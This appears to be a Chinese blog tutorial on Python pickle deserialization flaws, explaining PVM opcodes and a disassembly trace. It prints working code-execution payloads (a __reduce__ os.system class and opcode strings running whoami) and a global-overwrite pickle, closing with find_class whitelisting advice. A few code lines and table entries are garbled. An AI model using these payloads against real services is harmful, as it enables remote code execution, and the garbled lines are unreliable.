Python Pickle 反序列化漏洞

基础知识

pickle库及函数

pickle是python语言的一个标准模块,实现了基本的数据序列化和反序列化。

常用的函数

函数说明
dumps对象反序列化为bytes对象
dump对象反序列化到文件对象,存入文件
loads从bytes对象反序列化
load对象反序列化,从文件中读取数据

我们举例来看看

序列化

pickle.dump()方法将obj对象序列化为字节(bytes)写入到file文件中
pickle.dump(obj, file, protocol=None, *, fix_imports=True)

pickle.dumps()方法将obj对象序列化并返回一个bytes对象
pickle.dumps(obj, protocol=None, *, fix_imports=True)

pickle构造出的字符串,有很多个版本。在pickle.dumps时,可以用Protocol参数指定协议版本,版本向前兼容

反序列化

pickle.load()方法从file对象文件中读取序列化数据,将其反序列化之后返回一个对象
pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict")

pickle.loads()方法将bytes_object反序列化并返回一个对象
pickle.loads(bytes_object, *, fix_imports=True, encoding="ASCII", errors="strict")

需要注意的一点:注意:对于我们自己定义的class,如果直接以 data=‘aaa’ 的方式赋初值,则这个date不会被打包,解决方案是写一个__init__()方法

import pickle

class Test1():
    data = 'aaa'
    
class Test2():
    def __init__(self):
        self.data = 'aaa'

test1 = Test1()
test2 = Test2()
print(pickle.dumps(test1))
print(pickle.dumps(test2))

_Unpickler

pickle.load()和pickle.loads()方法的底层实现是基于 _Unpickler()方法来反序列化。

在反序列化过程中,_Unpickler(以下称为机器吧)维护了两个东西:栈区和存储区。结构如下(本图片仅为示意图):

为了研究它,也为了看懂那些乱七八糟的字符串,我们需要一个有力的调试器。这就是pickletools

pickletools

pickletools是python自带的pickle调试器,有三个功能:反汇编一个已经被打包的字符串、优化一个已经被打包的字符串、返回一个迭代器来供程序使用。

PVM(python虚拟机)

当运行python程序的时候,python解释器会将源代码编译成字节码,然后交给 PVM 循环迭代字节码指令

字节码,如果python有写入的权限,那么会生成一个 .pyc 的字节码文件,若没有那就再内存中生成字节码,程序结束后丢弃。

在上图中字符串 s 是一串指令,学名叫PVM指令。

PVM指令集,用的时候可以查,在pickle库里

# Pickle opcodes.  See pickletools.py for extensive docs.  The listing
# here is in kind-of alphabetical order of 1-character pickle code.
# pickletools groups them by purpose.

MARK           = b'('   # push special markobject on stack
STOP           = b'.'   # every pickle ends with STOP
POP            = b'0'   # discard topmost stack item
POP_MARK       = b'1'   # discard stack top through topmost markobject
DUP            = b'2'   # duplicate top stack item
FLOAT          = b'F'   # push float object; decimal string argument
INT            = b'I'   # push integer or bool; decimal string argument
BININT         = b'J'   # push four-byte signed int
BININT1        = b'K'   # push 1-byte unsigned int
LONG           = b'L'   # push long; decimal string argument
BININT2        = b'M'   # push 2-byte unsigned int
NONE           = b'N'   # push None
PERSID         = b'P'   # push persistent object; id is taken from string arg
BINPERSID      = b'Q'   #  "       "         "  ;  "  "   "     "  stack
REDUCE         = b'R'   # apply callable to argtuple, both on stack
STRING         = b'S'   # push string; NL-terminated string argument
BINSTRING      = b'T'   # push string; counted binary string argument
SHORT_BINSTRING= b'U'   #  "     "   ;    "      "       "      " < 256 bytes
UNICODE        = b'V'   # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE     = b'X'   #   "     "       "  ; counted UTF-8 string argument
APPEND         = b'a'   # append stack top to list below it
BUILD          = b'b'   # call __setstate__ or __dict__.update()
GLOBAL         = b'c'   # push self.find_class(modname, name); 2 string args
DICT           = b'd'   # build a dict from stack items
EMPTY_DICT     = b'}'   # push empty dict
APPENDS        = b'e'   # extend list on stack by topmost stack slice
GET            = b'g'   # push item from memo on stack; index is string arg
BINGET         = b'h'   #   "    "    "    "   "   "  ;   "    " 1-byte arg
INST           = b'i'   # build & push class instance
LONG_BINGET    = b'j'   # push item from memo on stack; index is 4-byte arg
LIST           = b'l'   # build list from topmost stack items
EMPTY_LIST     = b']'   # push empty list
OBJ            = b'o'   # build & push class instance
PUT            = b'p'   # store stack top in memo; index is string arg
BINPUT         = b'q'   #   "     "    "   "   " ;   "    " 1-byte arg
LONG_BINPUT    = b'r'   #   "     "    "   "   " ;   "    " 4-byte arg
SETITEM        = b's'   # add key+value pair to dict
TUPLE          = b't'   # build tuple from topmost stack items
EMPTY_TUPLE    = b')'   # push empty tuple
SETITEMS       = b'u'   # modify dict by adding topmost key+value pairs
BINFLOAT       = b'G'   # push float; arg is 8-byte float encoding

TRUE           = b'I01\n'  # not an opcode; see INT docs in pickletools.py
FALSE          = b'I00\n'  # not an opcode; see INT docs in pickletools.py

# Protocol 2

PROTO          = b'\x80'  # identify pickle protocol
NEWOBJ         = b'\x81'  # build object by applying cls.__new__ to argtuple
EXT1           = b'\x82'  # push object from extension registry; 1-byte index
EXT2           = b'\x83'  # ditto, but 2-byte index
EXT4           = b'\x84'  # ditto, but 4-byte index
TUPLE1         = b'\x85'  # build 1-tuple from stack top
TUPLE2         = b'\x86'  # build 2-tuple from two topmost stack items
TUPLE3         = b'\x87'  # build 3-tuple from three topmost stack items
NEWTRUE        = b'\x88'  # push True
NEWFALSE       = b'\x89'  # push False
LONG1          = b'\x8a'  # push long from < 256 bytes
LONG4          = b'\x8b'  # push really big long

_tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3]

# Protocol 3 (Python 3.x)

BINBYTES       = b'B'   # push bytes; counted binary string argument
SHORT_BINBYTES = b'C'   #  "     "   ;    "      "       "      " < 256 bytes

# Protocol 4

SHORT_BINUNICODE = b'\x8c'  # push short string; UTF-8 length < 256 bytes
BINUNICODE8      = b'\x8d'  # push very long string
BINBYTES8        = b'\x8e'  # push very long bytes string
EMPTY_SET        = b'\x8f'  # push empty set on the stack
ADDITEMS         = b'\x90'  # modify set by adding topmost stack items
FROZENSET        = b'\x91'  # build frozenset from topmost stack items
NEWOBJ_EX        = b'\x92'  # like NEWOBJ but work with keyword only arguments
STACK_GLOBAL     = b'\x93'  # same as GLOBAL but using names on the stacks
MEMOIZE          = b'\x94'  # store top of the stack in memo
FRAME            = b'\x95'  # indicate the beginning of a new frame

# Protocol 5

BYTEARRAY8       = b'\x96'  # push bytearray
NEXT_BUFFER      = b'\x97'  # push next out-of-band buffer
READONLY_BUFFER  = b'\x98'  # make top of stack readonly

列出几个比较重要的操作码:

c : 读取本行的内容作为模块名module, 读取下一行的内容作为对象名object,然后将 module.object 作为可调用对象压入到栈中

( : 将一个标记对象压入到栈中 , 用于确定命令执行的位置,该标记常常搭配 t 指令一起使用 , 以便产生一个元组

S : 后面跟字符串 , PVM会读取引号中的内容 , 直到遇见换行符 , 然后将读取到的内容压入到栈中

t : 从栈中不断弹出数据 , 弹射顺序与压栈时相同 , 直到弹出左括号,此时弹出的内容形成了一个元组 , 然后 , 该元组会被压入栈中

R : 将之前压入栈中的元组和可调用对象全部弹出 , 然后将该元组作为可调用参数的对象并执行该对象 。最后将结果压入到栈中

. : 结束整个 Pickle 反序列化过程

注意:PVM 指令的书写规范
(1)操作码是单字节的
(2)带参数的指令用换行符定界

OPCode(操作码)

在py3和py2中得到的opcode不相同,但pickle向下前兼容,我们可以用v0版本来解决兼容性。

Python 参数前的(*)和(**)

这两种用法其实都是用来将任意个数的参数导入到 Python 函数中。

一个(*)–将所有参数以元组的形式导入

两个(**)–将所有参数以字典的形式导入

两个方法也可以用在一个函数。

不定长传参

反序列化过程分析

import pickle,pickletools

class Test1():
    def __init__(self):
        self.data = 'lees'

test1 = Test1()
s = pickle.dumps(test1,protocol=3)
s = pickletools.optimize(s)
#优化字符串,也就是去掉不必要的 PUT指令----PUT意思是把当前栈的栈顶复制一份,放进储存区
print(s)
pickletools.dis(s)
#反汇编
b'\x80\x03c__main__\nTest1\n)\x81}X\x04\x00\x00\x00dataX\x04\x00\x00\x00leessb.'

\x80:接收pickle的版本,这里为\x03

c:读取一行作为模块名__main__,再读取一行作为类名Test1,再通过find_class()获取到Test1对象,并压入stack栈

stack:[<class '__main__.Test1'>]

):压入一个空元组到stack栈中

stack:[<class '__main__.Test1'>,()]

\x81:从栈弹出两个数据,()赋值给args,<class ‘__main__.Test1’>赋值给cls,再通过__new__()实例化对象,并压入stack栈中

stack:[<class '__main__.Test1'>]

}:压入一个空字典到栈里

stack:[<class '__main__.Test1'>,{}]

X:接收字符串的长度,这里为\x04\x00\x00\x00接收到data,\x04\x00\x00\x00接收到 lees,都存入栈中

stack:[<class '__main__.Test1'>,{},'data','lees']

s:弹出两个数据,存入那个空字典中,并压入栈

stack:[<class '__main__.Test1'>,{'data':'lees'}]

b:弹出 {‘data’:‘lees’} 给state,弹出 <class ‘__main__.Test1’> 给inst,如果inst中存在__setstate__方法,则直接用setstate来处理state,setstate(state),如果不存在,则直接将state存入inst.__dict__中。

stack:[]

.:结束反序列化。

反序列化漏洞利用

从上面的例子可以看出反序列化的过程完全可控,因此我们可以构造pickle,我们可以根据实例来理解构造的payload。

__reduce__()

python序列化主要有三个过程:从对象中提取所有属性—>写入对象的所有模块名和类名—>写入对象所有属性的键值对。
python反序列化漏洞的产生和php的魔术方法有异曲同工之处,在Python2中的 __reduce__() 方法,会在每次的反序列化开始或结束时调用。它的指令码是R

__reduce__()方法

在新式类中生效,不带参数,应返回字符串或一个元组。

如果返回一个字符串,该字符串应该被解释为全局变量的名称,它应该是对象相对于其模块的本地名称。

当返回一个元组时,它必须包含两到五个成员。可选成员可以省略,也可以提供None作为其值。

每个成员的意义是按顺序规定的:
第一个成员,将被调用的对象,callable。
第二个成员,可调用对象的参数的元组。如果callable不接受任何参数,则必须给出一个空元组。

当Python定义的类中的__reduce__函数返回的元组包含危险代码或可控,就会造成代码执行。

payload:

import pickle
import os

class A(object):
    def __reduce__(self):
        return (os.system,('ls /',))
a = A()
test = pickle.dumps(a)
print(pickle.loads(test))

全局变量覆盖

import pickle
import secret
class Test1:
    def __init__(self):
        self.animal="lees"
    def check(self):
        if self.animal==secret.best:
            print("good!")

code="your code"
pickle.loads(code)

在这个例子中,我们是不知道secret模块的,但在Test1类中有要进行判断才能输出good,所以我们只要修改secret的best为lees即可。我们导入一个模块会进入内存,然后我们在内存重构secret使之等于lees。(Python按行解释代码)

c操作符调用find_class()来获取对象,而模块、属性都可控,那可以构造payload为:

code=b'\x80\x03c__main__\nsecret\n}X\x04\x00\x00\x00bestX\x04\x00\x00\x00leessb0c__main__\nTest1\n)\x81}X\x04\x00\x00\x00nameX\x04\x00\x00\x00leessb.'

函数执行

与函数执行的操作码有i、R、o、b

  • i操作码
def load_inst(self):
    module = self.readline()[:-1].decode("ascii")
    name = self.readline()[:-1].decode("ascii")
    klass = self.find_class(module, name)
    self._instantiate(klass, self.pop_mark())
dispatch[INST[0]] = load_inst
#通过find_class获取方法(os.system),再通过pop_mark获得参数(whomai),并通过_instantiate来执行
def pop_mark(self):
    items = self.stack
    self.stack = self.metastack.pop()
    self.append = self.stack.append
    return items
#获取stack栈所有为item,然后弹出metastack栈赋值给stack栈,返回item
def load_mark(self):
    self.metastack.append(self.stack)
    self.stack = []
    self.append = self.stack.append
dispatch[MARK[0]] = load_mark
# ( 操作符

payload:

b'(X\x06\x00\x00\x00whoamiios\nsystem\n.'
利用 ( 先将whoami存到metastack栈中,在执行 i 操作
  • R操作码
def load_reduce(self):
    stack = self.stack
    args = stack.pop()
    func = stack[-1]
    stack[-1] = func(*args)
dispatch[REDUCE[0]] = load_reduce
#弹出一个数据作为参数(必须是元组),当前stack栈最后一个数据作为函数并执行
def load_tuple1(self):
    self.stack[-1] = (self.stack[-1],)
dispatch[TUPLE1[0]] = load_tuple1
#\x85将最后一个数据改成元组形式并压到stack栈

payload:

b'cos\nsystem\nX\x06\x00\x00\x00whoami\x85R.'
  • o操作码
def load_obj(self):
    # Stack is ... markobject classobject arg1 arg2 ...
    args = self.pop_mark()
    cls = args.pop(0)
    self._instantiate执行(cls, args)
dispatch[OBJ[0]] = load_obj
#弹栈,将函数和参数交给_instantiate执行

payload:

b'(cos\nsystem\nX\x06\x00\x00\x00whoamio.'
  • b
def load_build(self):
    stack = self.stack
    state = stack.pop()
    inst = stack[-1]
    setstate = getattr(inst, "__setstate__", None)
    if setstate is not None:
        setstate(state)
        return
    slotstate = None
    if isinstance(state, tuple) and len(state) == 2:
        state, slotstate = state
    if state:
        inst_dict = inst.__dict__
        intern = sys.intern
        for k, v in state.items():
            if type(k) is str:
                inst_dict[intern(k)] = v
            else:
                inst_dict[k] = v
    if slotstate:
            for k, v in slotstate.items():
                setattr(inst, k, v)
dispatch[BUILD[0]] = load_build
#上面实例分析有,不在复述
  • payload
class lees:
	pass

b'\x80\x03c__main__\lees\n)\x81}X\x0C\x00\x00\x00__setstate__cos\nsystem\nsbX\x06\x00\x00\x00whoamib.'

pker工具

pker工具可以仿python产生pickle opcode,当让还是建议手撸,pker辅助。

防御

为了解决pickle反序列化的问题,官方给的方法是重写Unpickler.find_class()加入白名单来解决,并且给出警告:对于允许反序列化的对象必须要保持警惕。对于开发者而言,如果实在要给用户反序列化的权限,最好使用双白名单限制modulename并充分考虑到白名单中的各模块和各函数是否有危险。

参考:

https://zhuanlan.zhihu.com/p/89132768
https://tttang.com/archive/1294/#toc_python
https://xz.aliyun.com/t/7436


欢迎关注公众号,不定时发布漏洞POC。
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
BUUCTF中的Pickle反序列化漏洞是指在该比赛的题目中存在通过反序列化攻击来执行任意代码的漏洞。具体来说,这个漏洞利用了Python中的pickle模块,pickle模块可以将对象序列化为字符串并保存到文件或通过网络传输。然后可以将这个字符串反序列化为原来的对象。这个过程中,如果不对反序列化的输入进行充分验证和过滤,攻击者可以构造恶意的pickle字符串,从而在反序列化的过程中执行任意代码。 在BUUCTF中,有一个题目叫做"Pickle Store",该题目利用了pickle模块的反序列化功能,并在反序列化的过程中执行了恶意代码。具体的攻击方法是,通过抓包获取到一个包含pickle字符串的session值,然后对这个字符串进行base64解码,并使用pickle模块的loads函数进行反序列化操作。这样就可以触发恶意代码的执行。 为了说明这个例子,作者提供了一个脚本来解析这个pickle字符串,首先使用base64解码得到原始字符串,然后使用pickle模块的loads函数进行反序列化操作,并最终执行恶意代码。这个例子展示了如何利用pickle模块的反序列化功能来执行任意代码。 在pickle模块中,还有一些其他的相关函数和方法可以帮助我们理解和分析pickle字符串的结构和内容。例如,pickletools模块提供了dis函数来反汇编pickle字符串,以及optimize函数来优化和简化pickle字符串的内容。 总结来说,BUUCTF中的Pickle反序列化漏洞是利用了pickle模块的反序列化功能来执行任意代码的漏洞。攻击者通过构造恶意的pickle字符串,可以在反序列化的过程中执行任意代码。为了解析和分析pickle字符串,可以使用pickle模块提供的函数和方法,如loads、pickletools.dis和pickletools.optimize。<span class="em">1</span><span class="em">2</span><span class="em">3</span><span class="em">4</span>

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值